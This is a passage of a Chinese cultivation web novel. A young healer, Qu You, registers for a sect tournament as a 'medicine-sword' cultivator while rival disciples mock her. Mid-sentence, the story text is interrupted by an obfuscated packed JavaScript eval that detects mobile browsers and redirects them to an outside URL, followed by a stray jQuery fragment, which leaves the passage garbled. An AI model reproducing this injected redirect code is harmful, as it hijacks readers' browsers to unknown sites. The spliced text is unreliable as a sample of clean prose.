她神色未变,甚至没有回头去看那出声嘲讽的天衍宗弟子,只是目光平静地看向眼前僵住的登记弟子,似乎在等待他落笔。 然而,那登记弟子迟迟没有动作,脸上是掩饰不住的荒谬和为难。 这……登记“医道”?这怎么记?历届小比,从未有过医修报名啊!这不合规矩吧? 或许是那青年弟子的话太难听,或许是登记弟子的沉默让她必须给出一个说法,曲忧终于缓缓转过身,目光越过人群,准确地落在了那名开口讥讽的天青色服饰青年脸上。 她的目光很平静清澈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491790|202265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有愤怒,没有羞恼,甚至没有半点被当众羞辱的难堪,只是那么平平淡淡地看着他,像是在看一件无关紧要的物事。 那青年被这平静的目光看得莫名一窒,准备好的更多讥诮言语竟卡在了喉咙里。 就连不远处的白若薇,在对上曲忧那无意间扫过的视线时,心头也莫名一跳,下意识地微微侧了侧身,仿佛想避开那道过于澄净的视线,随即又为自己的反应感到一丝恼怒。 就在所有人都以为这个寒酸的小医修要么会面红耳赤地辩解,要么会灰溜溜地离开时—— “东域小比的规矩,有写明禁止医修参加么?”曲忧开口,声音依旧平稳,却带着一种奇异的穿透力,让周围的嗡嗡声不自觉地低了下去。 众人一愣。规矩?好像……真没有明确规定禁止医修。但这还需要规定吗?医修不擅斗法,这是常识! “至于用剑,”曲忧的目光落回那登记弟子手中的笔上,又淡淡地扫过那脸色微青的天衍宗青年,“也没人规定,医修……就不能用剑吧?” 说完,她不再理会任何人,重新转向登记弟子,重复道:“归藏宗,曲忧,炼气四层,主修暂记为‘医剑’亦可。请登记。” “医剑”? 这两个字组合在一起,更是荒谬绝伦!医是医,剑是剑,自古修行各有专精,何来“医剑”一说?这分明是强词夺理,胡搅蛮缠! “哈哈哈!医剑?我看是‘贻笑大方’的‘贻’,‘剑’是‘贱’命的‘贱’吧!”那天衍宗青年反应过来,觉得自己刚才竟被对方一个眼神唬住,大为光火,立刻大声嘲笑道,引得周围一片附和的低笑。 登记弟子脸色古怪,犹豫了一下,最终还是提笔,在“主修道法”一栏,草草写下了“医道(自称)”几个小字。 然后像是打发什么麻烦般,将一块标注着“甲字叁拾柒”的普通木牌丢给曲忧:“拿着,去那边候着,听叫号上台!” 曲忧接过木牌,看也没看那青年和周围各色目光,转身便走向广场边缘。 身后,是并未平息的嘲讽和议论。 “听见没?医剑?哈哈哈,等会儿上了台,怕不是要给人‘针灸’疗伤?” “归藏宗……这次真是把脸丢到姥姥家了。” “我看那姑娘长得挺漂亮的,怎的如此不知天高地厚?” 白若薇收回目光,轻轻抚了抚袖口,对身旁犹自愤愤的青年柔声道:“周师兄,何必与那般人一般见识。许是那小宗门实在无人,才……罢了,个人自有缘法,我们只管看比试便是。” 她语气温和,眼底却掠过一丝快意的光。曲忧越是出丑,便越衬托出她的完美与正确。 一个连天衍宗都拒绝的“天才”,最终却沦落到来小比上以“医修”身份哗众取宠,还有比这更讽刺的么? 周姓青年闻言,脸色稍霁,对着白若薇露出一个笑容:“师妹说的是,是我着相了,看比试,看比试。”